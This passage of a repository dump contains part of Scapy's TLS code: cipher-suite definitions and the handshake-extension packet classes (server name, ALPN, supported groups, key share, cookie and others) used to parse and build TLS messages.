TLS_DHE_RSA_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCAA\n\n\nclass TLS_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCAB\n\n\nclass TLS_ECDHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCAC\n\n\nclass TLS_DHE_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCAD\n\n\nclass TLS_RSA_PSK_WITH_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0xCCAE\n\n\nclass TLS_AES_128_GCM_SHA256(_GenericCipherSuite):\n    val = 0x1301\n\n\nclass TLS_AES_256_GCM_SHA384(_GenericCipherSuite):\n    val = 0x1302\n\n\nclass TLS_CHACHA20_POLY1305_SHA256(_GenericCipherSuite):\n    val = 0x1303\n\n\nclass TLS_AES_128_CCM_SHA256(_GenericCipherSuite):\n    val = 0x1304\n\n\nclass TLS_AES_128_CCM_8_SHA256(_GenericCipherSuite):\n    val = 0x1305\n\n\nclass SSL_CK_RC4_128_WITH_MD5(_GenericCipherSuite):\n    val = 0x010080\n\n\nclass SSL_CK_RC4_128_EXPORT40_WITH_MD5(_GenericCipherSuite):\n    val = 0x020080\n\n\nclass SSL_CK_RC2_128_CBC_WITH_MD5(_GenericCipherSuite):\n    val = 0x030080\n\n\nclass SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5(_GenericCipherSuite):\n    val = 0x040080\n\n\nclass SSL_CK_IDEA_128_CBC_WITH_MD5(_GenericCipherSuite):\n    val = 0x050080\n\n\nclass SSL_CK_DES_64_CBC_WITH_MD5(_GenericCipherSuite):\n    val = 0x060040\n\n\nclass SSL_CK_DES_192_EDE3_CBC_WITH_MD5(_GenericCipherSuite):\n    val = 0x0700C0\n\n\n_tls_cipher_suites[0x00ff] = \"TLS_EMPTY_RENEGOTIATION_INFO_SCSV\"\n_tls_cipher_suites[0x5600] = \"TLS_FALLBACK_SCSV\"\n\n\ndef get_usable_ciphersuites(li, kx):\n    \"\"\"\n    From a list of proposed ciphersuites, this function returns a list of\n    usable cipher suites, i.e. for which key exchange, cipher and hash\n    algorithms are known to be implemented and usable in current version of the\n    TLS extension. The order of the cipher suites in the list returned by the\n    function matches the one of the proposal.\n    \"\"\"\n    res = []\n    for c in li:\n        if c in _tls_cipher_suites_cls:\n            cipher = _tls_cipher_suites_cls[c]\n            if cipher.usable:\n                # XXX select among RSA and ECDSA cipher suites\n                # according to the key(s) the server was given\n                if (cipher.kx_alg.anonymous or\n                   kx in cipher.kx_alg.name or\n                   cipher.kx_alg.name == \"TLS13\"):\n                    res.append(c)\n    return res\n"
  },
  {
    "path": "scapy/layers/tls/extensions.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2017 Maxence Tury\n\n\"\"\"\nTLS handshake extensions.\n\"\"\"\n\n\nimport os\nimport struct\n\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    EnumField,\n    FieldLenField,\n    FieldListField,\n    IntField,\n    MayEnd,\n    PacketField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrFixedLenField,\n    StrLenField,\n    XStrLenField,\n)\nfrom scapy.packet import Packet, Raw, Padding\nfrom scapy.layers.x509 import X509_Extensions\nfrom scapy.layers.tls.basefields import _tls_version\nfrom scapy.layers.tls.keyexchange import (SigAndHashAlgsLenField,\n                                          SigAndHashAlgsField, _tls_hash_sig)\nfrom scapy.layers.tls.session import _GenericTLSSessionInheritance\nfrom scapy.layers.tls.crypto.groups import _tls_named_groups\nfrom scapy.layers.tls.crypto.suites import _tls_cipher_suites\nfrom scapy.layers.tls.quic import _QuicTransportParametersField\nfrom scapy.themes import AnsiColorTheme\nfrom scapy.compat import raw\nfrom scapy.config import conf\n\n\n# Because ServerHello and HelloRetryRequest have the same\n# msg_type, the only way to distinguish these message is by\n# checking the random_bytes. If the random_bytes are equal to\n# SHA256('HelloRetryRequest') then we know this is a\n# HelloRetryRequest and the TLS_Ext_KeyShare must be parsed as\n# TLS_Ext_KeyShare_HRR and not as TLS_Ext_KeyShare_SH\n\n# from cryptography.hazmat.backends import default_backend\n# from cryptography.hazmat.primitives import hashes\n# digest = hashes.Hash(hashes.SHA256(), backend=default_backend())\n# digest.update(b\"HelloRetryRequest\")\n# _tls_hello_retry_magic = digest.finalize()\n\n_tls_hello_retry_magic = (\n    b'\\xcf!\\xadt\\xe5\\x9aa\\x11\\xbe\\x1d\\x8c\\x02\\x1ee\\xb8\\x91\\xc2\\xa2\\x11'\n    b'\\x16z\\xbb\\x8c^\\x07\\x9e\\t\\xe2\\xc8\\xa83\\x9c'\n)\n\n\n_tls_ext = {0: \"server_name\",             # RFC 4366\n            1: \"max_fragment_length\",     # RFC 4366\n            2: \"client_certificate_url\",  # RFC 4366\n            3: \"trusted_ca_keys\",         # RFC 4366\n            4: \"truncated_hmac\",          # RFC 4366\n            5: \"status_request\",          # RFC 4366\n            6: \"user_mapping\",            # RFC 4681\n            7: \"client_authz\",            # RFC 5878\n            8: \"server_authz\",            # RFC 5878\n            9: \"cert_type\",               # RFC 6091\n            # 10: \"elliptic_curves\",         # RFC 4492\n            10: \"supported_groups\",\n            11: \"ec_point_formats\",        # RFC 4492\n            13: \"signature_algorithms\",    # RFC 5246\n            0x0f: \"heartbeat\",             # RFC 6520\n            0x10: \"alpn\",                  # RFC 7301\n            0x12: \"signed_certificate_timestamp\",  # RFC 6962\n            0x13: \"client_certificate_type\",  # RFC 7250\n            0x14: \"server_certificate_type\",  # RFC 7250\n            0x15: \"padding\",               # RFC 7685\n            0x16: \"encrypt_then_mac\",      # RFC 7366\n            0x17: \"extended_master_secret\",  # RFC 7627\n            0x1c: \"record_size_limit\",     # RFC 8449\n            0x23: \"session_ticket\",        # RFC 5077\n            0x29: \"pre_shared_key\",\n            0x2a: \"early_data_indication\",\n            0x2b: \"supported_versions\",\n            0x2c: \"cookie\",\n            0x2d: \"psk_key_exchange_modes\",\n            0x2f: \"certificate_authorities\",\n            0x30: \"oid_filters\",\n            0x31: \"post_handshake_auth\",\n            0x32: \"signature_algorithms_cert\",\n            0x33: \"key_share\",\n            0x39: \"quic_transport_parameters\",  # RFC 9000\n            0x3374: \"next_protocol_negotiation\",\n            # RFC-draft-agl-tls-nextprotoneg-03\n            0xff01: \"renegotiation_info\",   # RFC 5746\n            0xffce: \"encrypted_server_name\"\n            }\n\n\nclass TLS_Ext_Unknown(_GenericTLSSessionInheritance):\n    \"\"\"\n    We put this here rather than in extensions.py in order to avoid\n    circular imports...\n    \"\"\"\n    name = \"TLS Extension - Scapy Unknown\"\n    fields_desc = [ShortEnumField(\"type\", None, _tls_ext),\n                   FieldLenField(\"len\", None, fmt=\"!H\", length_of=\"val\"),\n                   StrLenField(\"val\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n    def post_build(self, p, pay):\n        if self.len is None:\n            tmp_len = len(p) - 4\n            p = p[:2] + struct.pack(\"!H\", tmp_len) + p[4:]\n        return p + pay\n\n\n###############################################################################\n#   ClientHello/ServerHello extensions                                        #\n###############################################################################\n\n# We provide these extensions mostly for packet manipulation purposes.\n# For now, most of them are not considered by our automaton.\n\nclass TLS_Ext_PrettyPacketList(TLS_Ext_Unknown):\n    \"\"\"\n    Dummy extension used for server_name/ALPN/NPN for a lighter representation:\n    the final field is showed as a 1-line list rather than as lots of packets.\n    XXX Define a new condition for packet lists in Packet._show_or_dump?\n    \"\"\"\n\n    def _show_or_dump(self, dump=False, indent=3,\n                      lvl=\"\", label_lvl=\"\", first_call=True):\n        \"\"\" Reproduced from packet.py \"\"\"\n        ct = AnsiColorTheme() if dump else conf.color_theme\n        s = \"%s%s %s %s \\n\" % (label_lvl, ct.punct(\"###[\"),\n                               ct.layer_name(self.name), ct.punct(\"]###\"))\n        for f in self.fields_desc[:-1]:\n            ncol = ct.field_name\n            vcol = ct.field_value\n            fvalue = self.getfieldval(f.name)\n            begn = \"%s  %-10s%s \" % (label_lvl + lvl, ncol(f.name),\n                                     ct.punct(\"=\"),)\n            reprval = f.i2repr(self, fvalue)\n            if isinstance(reprval, str):\n                reprval = reprval.replace(\"\\n\", \"\\n\" + \" \" * (len(label_lvl) +\n                                                              len(lvl) +\n                                                              len(f.name) +\n                                                              4))\n            s += \"%s%s\\n\" % (begn, vcol(reprval))\n        f = self.fields_desc[-1]\n        ncol = ct.field_name\n        vcol = ct.field_value\n        fvalue = self.getfieldval(f.name)\n        begn = \"%s  %-10s%s \" % (label_lvl + lvl, ncol(f.name), ct.punct(\"=\"),)\n        reprval = f.i2repr(self, fvalue)\n        if isinstance(reprval, str):\n            reprval = reprval.replace(\"\\n\", \"\\n\" + \" \" * (len(label_lvl) +\n                                                          len(lvl) +\n                                                          len(f.name) +\n                                                          4))\n        s += \"%s%s\\n\" % (begn, vcol(reprval))\n        if self.payload:\n            s += self.payload._show_or_dump(dump=dump, indent=indent,\n                                            lvl=lvl + (\" \" * indent * self.show_indent),  # noqa: E501\n                                            label_lvl=label_lvl, first_call=False)  # noqa: E501\n\n        if first_call and not dump:\n            print(s)\n        else:\n            return s\n\n\n_tls_server_name_types = {0: \"host_name\"}\n\n\nclass ServerName(Packet):\n    name = \"HostName\"\n    fields_desc = [ByteEnumField(\"nametype\", 0, _tls_server_name_types),\n                   FieldLenField(\"namelen\", None, length_of=\"servername\"),\n                   StrLenField(\"servername\", \"\",\n                               length_from=lambda pkt: pkt.namelen)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ServerListField(PacketListField):\n    def i2repr(self, pkt, x):\n        res = [p.servername for p in x]\n        return \"[%s]\" % \", \".join(repr(x) for x in res)\n\n\nclass ServerLenField(FieldLenField):\n    \"\"\"\n    There is no length when there are no servernames (as in a ServerHello).\n    \"\"\"\n\n    def addfield(self, pkt, s, val):\n        if not val:\n            if not pkt.servernames:\n                return s\n        return super(ServerLenField, self).addfield(pkt, s, val)\n\n\nclass TLS_Ext_ServerName(TLS_Ext_PrettyPacketList):                 # RFC 4366\n    name = \"TLS Extension - Server Name\"\n    fields_desc = [ShortEnumField(\"type\", 0, _tls_ext),\n                   MayEnd(FieldLenField(\"len\", None, length_of=\"servernames\",\n                                        adjust=lambda pkt, x: x + 2)),\n                   ServerLenField(\"servernameslen\", None,\n                                  length_of=\"servernames\"),\n                   ServerListField(\"servernames\", [], ServerName,\n                                   length_from=lambda pkt: pkt.servernameslen)]\n\n\nclass TLS_Ext_EncryptedServerName(TLS_Ext_PrettyPacketList):\n    name = \"TLS Extension - Encrypted Server Name\"\n    fields_desc = [ShortEnumField(\"type\", 0xffce, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   EnumField(\"cipher\", None, _tls_cipher_suites),\n                   ShortEnumField(\"key_exchange_group\", None,\n                                  _tls_named_groups),\n                   FieldLenField(\"key_exchange_len\", None,\n                                 length_of=\"key_exchange\", fmt=\"H\"),\n                   XStrLenField(\"key_exchange\", \"\",\n                                length_from=lambda pkt: pkt.key_exchange_len),\n                   FieldLenField(\"record_digest_len\",\n                                 None, length_of=\"record_digest\"),\n                   XStrLenField(\"record_digest\", \"\",\n                                length_from=lambda pkt: pkt.record_digest_len),\n                   FieldLenField(\"encrypted_sni_len\", None,\n                                 length_of=\"encrypted_sni\", fmt=\"H\"),\n                   XStrLenField(\"encrypted_sni\", \"\",\n                                length_from=lambda pkt: pkt.encrypted_sni_len)]\n\n\nclass TLS_Ext_MaxFragLen(TLS_Ext_Unknown):                          # RFC 4366\n    name = \"TLS Extension - Max Fragment Length\"\n    fields_desc = [ShortEnumField(\"type\", 1, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ByteEnumField(\"maxfraglen\", 4, {1: \"2^9\",\n                                                   2: \"2^10\",\n                                                   3: \"2^11\",\n                                                   4: \"2^12\"})]\n\n\nclass TLS_Ext_ClientCertURL(TLS_Ext_Unknown):                       # RFC 4366\n    name = \"TLS Extension - Client Certificate URL\"\n    fields_desc = [ShortEnumField(\"type\", 2, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\n_tls_trusted_authority_types = {0: \"pre_agreed\",\n                                1: \"key_sha1_hash\",\n                                2: \"x509_name\",\n                                3: \"cert_sha1_hash\"}\n\n\nclass TAPreAgreed(Packet):\n    name = \"Trusted authority - pre_agreed\"\n    fields_desc = [ByteEnumField(\"idtype\", 0, _tls_trusted_authority_types)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass TAKeySHA1Hash(Packet):\n    name = \"Trusted authority - key_sha1_hash\"\n    fields_desc = [ByteEnumField(\"idtype\", 1, _tls_trusted_authority_types),\n                   StrFixedLenField(\"id\", None, 20)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass TAX509Name(Packet):\n    \"\"\"\n    XXX Section 3.4 of RFC 4366. Implement a more specific DNField\n    rather than current StrLenField.\n    \"\"\"\n    name = \"Trusted authority - x509_name\"\n    fields_desc = [ByteEnumField(\"idtype\", 2, _tls_trusted_authority_types),\n                   FieldLenField(\"dnlen\", None, length_of=\"dn\"),\n                   StrLenField(\"dn\", \"\", length_from=lambda pkt: pkt.dnlen)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass TACertSHA1Hash(Packet):\n    name = \"Trusted authority - cert_sha1_hash\"\n    fields_desc = [ByteEnumField(\"idtype\", 3, _tls_trusted_authority_types),\n                   StrFixedLenField(\"id\", None, 20)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n_tls_trusted_authority_cls = {0: TAPreAgreed,\n                              1: TAKeySHA1Hash,\n                              2: TAX509Name,\n                              3: TACertSHA1Hash}\n\n\nclass _TAListField(PacketListField):\n    \"\"\"\n    Specific version that selects the right Trusted Authority (previous TA*)\n    class to be used for dissection based on idtype.\n    \"\"\"\n\n    def m2i(self, pkt, m):\n        idtype = ord(m[0])\n        cls = self.cls\n        if idtype in _tls_trusted_authority_cls:\n            cls = _tls_trusted_authority_cls[idtype]\n        return cls(m)\n\n\nclass TLS_Ext_TrustedCAInd(TLS_Ext_Unknown):                        # RFC 4366\n    name = \"TLS Extension - Trusted CA Indication\"\n    fields_desc = [ShortEnumField(\"type\", 3, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"talen\", None, length_of=\"ta\"),\n                   _TAListField(\"ta\", [], Raw,\n                                length_from=lambda pkt: pkt.talen)]\n\n\nclass TLS_Ext_TruncatedHMAC(TLS_Ext_Unknown):                       # RFC 4366\n    name = \"TLS Extension - Truncated HMAC\"\n    fields_desc = [ShortEnumField(\"type\", 4, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass ResponderID(Packet):\n    name = \"Responder ID structure\"\n    fields_desc = [FieldLenField(\"respidlen\", None, length_of=\"respid\"),\n                   StrLenField(\"respid\", \"\",\n                               length_from=lambda pkt: pkt.respidlen)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass OCSPStatusRequest(Packet):\n    \"\"\"\n    This is the structure defined in RFC 6066, not in RFC 6960!\n    \"\"\"\n    name = \"OCSPStatusRequest structure\"\n    fields_desc = [FieldLenField(\"respidlen\", None, length_of=\"respid\"),\n                   PacketListField(\"respid\", [], ResponderID,\n                                   length_from=lambda pkt: pkt.respidlen),\n                   FieldLenField(\"reqextlen\", None, length_of=\"reqext\"),\n                   PacketField(\"reqext\", \"\", X509_Extensions)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\n_cert_status_type = {1: \"ocsp\"}\n_cert_status_req_cls = {1: OCSPStatusRequest}\n\n\nclass _StatusReqField(PacketListField):\n    def m2i(self, pkt, m):\n        idtype = pkt.stype\n        cls = self.cls\n        if idtype in _cert_status_req_cls:\n            cls = _cert_status_req_cls[idtype]\n        return cls(m)\n\n\nclass TLS_Ext_CSR(TLS_Ext_Unknown):                                 # RFC 4366\n    name = \"TLS Extension - Certificate Status Request\"\n    fields_desc = [ShortEnumField(\"type\", 5, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ByteEnumField(\"stype\", None, _cert_status_type),\n                   _StatusReqField(\"req\", [], Raw,\n                                   length_from=lambda pkt: pkt.len - 1)]\n\n\nclass TLS_Ext_UserMapping(TLS_Ext_Unknown):                         # RFC 4681\n    name = \"TLS Extension - User Mapping\"\n    fields_desc = [ShortEnumField(\"type\", 6, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"umlen\", None, fmt=\"B\", length_of=\"um\"),\n                   FieldListField(\"um\", [],\n                                  ByteField(\"umtype\", 0),\n                                  length_from=lambda pkt: pkt.umlen)]\n\n\nclass TLS_Ext_ClientAuthz(TLS_Ext_Unknown):                         # RFC 5878\n    \"\"\" XXX Unsupported \"\"\"\n    name = \"TLS Extension - Client Authz\"\n    fields_desc = [ShortEnumField(\"type\", 7, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ]\n\n\nclass TLS_Ext_ServerAuthz(TLS_Ext_Unknown):                         # RFC 5878\n    \"\"\" XXX Unsupported \"\"\"\n    name = \"TLS Extension - Server Authz\"\n    fields_desc = [ShortEnumField(\"type\", 8, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ]\n\n\n_tls_cert_types = {0: \"X.509\", 1: \"OpenPGP\"}\n\n\nclass TLS_Ext_ClientCertType(TLS_Ext_Unknown):                      # RFC 5081\n    name = \"TLS Extension - Certificate Type (client version)\"\n    fields_desc = [ShortEnumField(\"type\", 9, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"ctypeslen\", None, length_of=\"ctypes\"),\n                   FieldListField(\"ctypes\", [0, 1],\n                                  ByteEnumField(\"certtypes\", None,\n                                                _tls_cert_types),\n                                  length_from=lambda pkt: pkt.ctypeslen)]\n\n\nclass TLS_Ext_ServerCertType(TLS_Ext_Unknown):                      # RFC 5081\n    name = \"TLS Extension - Certificate Type (server version)\"\n    fields_desc = [ShortEnumField(\"type\", 9, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ByteEnumField(\"ctype\", None, _tls_cert_types)]\n\n\ndef _TLS_Ext_CertTypeDispatcher(m, *args, **kargs):\n    \"\"\"\n    We need to select the correct one on dissection. We use the length for\n    that, as 1 for client version would imply an empty list.\n    \"\"\"\n    tmp_len = struct.unpack(\"!H\", m[2:4])[0]\n    if tmp_len == 1:\n        cls = TLS_Ext_ServerCertType\n    else:\n        cls = TLS_Ext_ClientCertType\n    return cls(m, *args, **kargs)\n\n\nclass TLS_Ext_SupportedGroups(TLS_Ext_Unknown):\n    \"\"\"\n    This extension was known as 'Supported Elliptic Curves' before TLS 1.3\n    merged both group selection mechanisms for ECDH and FFDH.\n    \"\"\"\n    name = \"TLS Extension - Supported Groups\"\n    fields_desc = [ShortEnumField(\"type\", 10, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"groupslen\", None, length_of=\"groups\"),\n                   FieldListField(\"groups\", [],\n                                  ShortEnumField(\"ng\", None,\n                                                 _tls_named_groups),\n                                  length_from=lambda pkt: pkt.groupslen)]\n\n\nclass TLS_Ext_SupportedEllipticCurves(TLS_Ext_SupportedGroups):     # RFC 4492\n    pass\n\n\n_tls_ecpoint_format = {0: \"uncompressed\",\n                       1: \"ansiX962_compressed_prime\",\n                       2: \"ansiX962_compressed_char2\"}\n\n\nclass TLS_Ext_SupportedPointFormat(TLS_Ext_Unknown):                # RFC 4492\n    name = \"TLS Extension - Supported Point Format\"\n    fields_desc = [ShortEnumField(\"type\", 11, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"ecpllen\", None, fmt=\"B\", length_of=\"ecpl\"),\n                   FieldListField(\"ecpl\", [0],\n                                  ByteEnumField(\"nc\", None,\n                                                _tls_ecpoint_format),\n                                  length_from=lambda pkt: pkt.ecpllen)]\n\n\nclass TLS_Ext_SignatureAlgorithms(TLS_Ext_Unknown):                 # RFC 5246\n    name = \"TLS Extension - Signature Algorithms\"\n    fields_desc = [ShortEnumField(\"type\", 13, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   SigAndHashAlgsLenField(\"sig_algs_len\", None,\n                                          length_of=\"sig_algs\"),\n                   SigAndHashAlgsField(\"sig_algs\", [],\n                                       EnumField(\"hash_sig\", None,\n                                                 _tls_hash_sig),\n                                       length_from=lambda pkt: pkt.sig_algs_len)]  # noqa: E501\n\n\nclass TLS_Ext_Heartbeat(TLS_Ext_Unknown):                           # RFC 6520\n    name = \"TLS Extension - Heartbeat\"\n    fields_desc = [ShortEnumField(\"type\", 0x0f, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ByteEnumField(\"heartbeat_mode\", 2,\n                                 {1: \"peer_allowed_to_send\",\n                                  2: \"peer_not_allowed_to_send\"})]\n\n\nclass ProtocolName(Packet):\n    name = \"Protocol Name\"\n    fields_desc = [FieldLenField(\"len\", None, fmt='B', length_of=\"protocol\"),\n                   StrLenField(\"protocol\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n    def guess_payload_class(self, p):\n        return Padding\n\n\nclass ProtocolListField(PacketListField):\n    def i2repr(self, pkt, x):\n        res = [p.protocol for p in x]\n        return \"[%s]\" % \", \".join(repr(x) for x in res)\n\n\nclass TLS_Ext_ALPN(TLS_Ext_PrettyPacketList):                       # RFC 7301\n    name = \"TLS Extension - Application Layer Protocol Negotiation\"\n    fields_desc = [ShortEnumField(\"type\", 0x10, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"protocolslen\", None, length_of=\"protocols\"),\n                   ProtocolListField(\"protocols\", [], ProtocolName,\n                                     length_from=lambda pkt:pkt.protocolslen)]\n\n\nclass TLS_Ext_Padding(TLS_Ext_Unknown):                             # RFC 7685\n    name = \"TLS Extension - Padding\"\n    fields_desc = [ShortEnumField(\"type\", 0x15, _tls_ext),\n                   FieldLenField(\"len\", None, length_of=\"padding\"),\n                   StrLenField(\"padding\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n\nclass TLS_Ext_EncryptThenMAC(TLS_Ext_Unknown):                      # RFC 7366\n    name = \"TLS Extension - Encrypt-then-MAC\"\n    fields_desc = [ShortEnumField(\"type\", 0x16, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_ExtendedMasterSecret(TLS_Ext_Unknown):                # RFC 7627\n    name = \"TLS Extension - Extended Master Secret\"\n    fields_desc = [ShortEnumField(\"type\", 0x17, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_SessionTicket(TLS_Ext_Unknown):                       # RFC 5077\n    \"\"\"\n    RFC 5077 updates RFC 4507 according to most implementations, which do not\n    use another (useless) 'ticketlen' field after the global 'len' field.\n    \"\"\"\n    name = \"TLS Extension - Session Ticket\"\n    fields_desc = [ShortEnumField(\"type\", 0x23, _tls_ext),\n                   FieldLenField(\"len\", None, length_of=\"ticket\"),\n                   StrLenField(\"ticket\", \"\",\n                               length_from=lambda pkt: pkt.len)]\n\n\nclass TLS_Ext_KeyShare(TLS_Ext_Unknown):\n    name = \"TLS Extension - Key Share (dummy class)\"\n    fields_desc = [ShortEnumField(\"type\", 0x33, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_PreSharedKey(TLS_Ext_Unknown):\n    name = \"TLS Extension - Pre Shared Key (dummy class)\"\n    fields_desc = [ShortEnumField(\"type\", 0x29, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_EarlyDataIndication(TLS_Ext_Unknown):\n    name = \"TLS Extension - Early Data\"\n    fields_desc = [ShortEnumField(\"type\", 0x2a, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_EarlyDataIndicationTicket(TLS_Ext_Unknown):\n    name = \"TLS Extension - Early Data Indication Ticket\"\n    fields_desc = [ShortEnumField(\"type\", 0x2a, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   IntField(\"max_early_data_size\", 0)]\n\n\n_tls_ext_early_data_cls = {1: TLS_Ext_EarlyDataIndication,\n                           4: TLS_Ext_EarlyDataIndicationTicket,\n                           8: TLS_Ext_EarlyDataIndication}\n\n\nclass TLS_Ext_SupportedVersions(TLS_Ext_Unknown):\n    name = \"TLS Extension - Supported Versions (dummy class)\"\n    fields_desc = [ShortEnumField(\"type\", 0x2b, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_SupportedVersion_CH(TLS_Ext_Unknown):\n    name = \"TLS Extension - Supported Versions (for ClientHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x2b, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"versionslen\", None, fmt='B',\n                                 length_of=\"versions\"),\n                   FieldListField(\"versions\", [],\n                                  ShortEnumField(\"version\", None,\n                                                 _tls_version),\n                                  length_from=lambda pkt: pkt.versionslen)]\n\n\nclass TLS_Ext_SupportedVersion_SH(TLS_Ext_Unknown):\n    name = \"TLS Extension - Supported Versions (for ServerHello)\"\n    fields_desc = [ShortEnumField(\"type\", 0x2b, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ShortEnumField(\"version\", None, _tls_version)]\n\n\n_tls_ext_supported_version_cls = {1: TLS_Ext_SupportedVersion_CH,\n                                  2: TLS_Ext_SupportedVersion_SH}\n\n\nclass TLS_Ext_Cookie(TLS_Ext_Unknown):\n    name = \"TLS Extension - Cookie\"\n    fields_desc = [ShortEnumField(\"type\", 0x2c, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"cookielen\", None, length_of=\"cookie\"),\n                   XStrLenField(\"cookie\", \"\",\n                                length_from=lambda pkt: pkt.cookielen)]\n\n    def build(self):\n        fval = self.getfieldval(\"cookie\")\n        if fval is None or fval == b\"\":\n            self.cookie = os.urandom(32)\n        return TLS_Ext_Unknown.build(self)\n\n\n_tls_psk_kx_modes = {0: \"psk_ke\", 1: \"psk_dhe_ke\"}\n\n\nclass TLS_Ext_PSKKeyExchangeModes(TLS_Ext_Unknown):\n    name = \"TLS Extension - PSK Key Exchange Modes\"\n    fields_desc = [ShortEnumField(\"type\", 0x2d, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"kxmodeslen\", None, fmt='B',\n                                 length_of=\"kxmodes\"),\n                   FieldListField(\"kxmodes\", [],\n                                  ByteEnumField(\"kxmode\", None,\n                                                _tls_psk_kx_modes),\n                                  length_from=lambda pkt: pkt.kxmodeslen)]\n\n\nclass TLS_Ext_TicketEarlyDataInfo(TLS_Ext_Unknown):\n    name = \"TLS Extension - Ticket Early Data Info\"\n    fields_desc = [ShortEnumField(\"type\", 0x2e, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   IntField(\"max_early_data_size\", 0)]\n\n\nclass TLS_Ext_NPN(TLS_Ext_PrettyPacketList):\n    \"\"\"\n    Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN.\n    \"\"\"\n    name = \"TLS Extension - Next Protocol Negotiation\"\n    fields_desc = [ShortEnumField(\"type\", 0x3374, _tls_ext),\n                   FieldLenField(\"len\", None, length_of=\"protocols\"),\n                   ProtocolListField(\"protocols\", [], ProtocolName,\n                                     length_from=lambda pkt:pkt.len)]\n\n\nclass TLS_Ext_PostHandshakeAuth(TLS_Ext_Unknown):                   # RFC 8446\n    name = \"TLS Extension - Post Handshake Auth\"\n    fields_desc = [ShortEnumField(\"type\", 0x31, _tls_ext),\n                   MayEnd(ShortField(\"len\", None))]\n\n\nclass TLS_Ext_SignatureAlgorithmsCert(TLS_Ext_Unknown):    # RFC 8446\n    name = \"TLS Extension - Signature Algorithms Cert\"\n    fields_desc = [ShortEnumField(\"type\", 0x32, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   SigAndHashAlgsLenField(\"sig_algs_len\", None,\n                                          length_of=\"sig_algs\"),\n                   SigAndHashAlgsField(\"sig_algs\", [],\n                                       EnumField(\"hash_sig\", None,\n                                                 _tls_hash_sig),\n                                       length_from=lambda pkt: pkt.sig_algs_len)]  # noqa: E501\n\n\nclass TLS_Ext_RenegotiationInfo(TLS_Ext_Unknown):                   # RFC 5746\n    name = \"TLS Extension - Renegotiation Indication\"\n    fields_desc = [ShortEnumField(\"type\", 0xff01, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   FieldLenField(\"reneg_conn_len\", None, fmt='B',\n                                 length_of=\"renegotiated_connection\"),\n                   StrLenField(\"renegotiated_connection\", \"\",\n                               length_from=lambda pkt: pkt.reneg_conn_len)]\n\n\nclass TLS_Ext_RecordSizeLimit(TLS_Ext_Unknown):  # RFC 8449\n    name = \"TLS Extension - Record Size Limit\"\n    fields_desc = [ShortEnumField(\"type\", 0x1c, _tls_ext),\n                   MayEnd(ShortField(\"len\", None)),\n                   ShortField(\"record_size_limit\", None)]\n\n\nclass TLS_Ext_QUICTransportParameters(TLS_Ext_Unknown):  # RFC9000\n    name = \"TLS Extension - QUIC Transport Parameters\"\n    fields_desc = [ShortEnumField(\"type\", 0x39, _tls_ext),\n                   FieldLenField(\"len\", None, length_of=\"params\"),\n                   _QuicTransportParametersField(\"params\",\n                                                 None,\n                                                 length_from=lambda pkt: pkt.len)]\n\n\n_tls_ext_cls = {0: TLS_Ext_ServerName,\n                1: TLS_Ext_MaxFragLen,\n                2: TLS_Ext_ClientCertURL,\n                3: 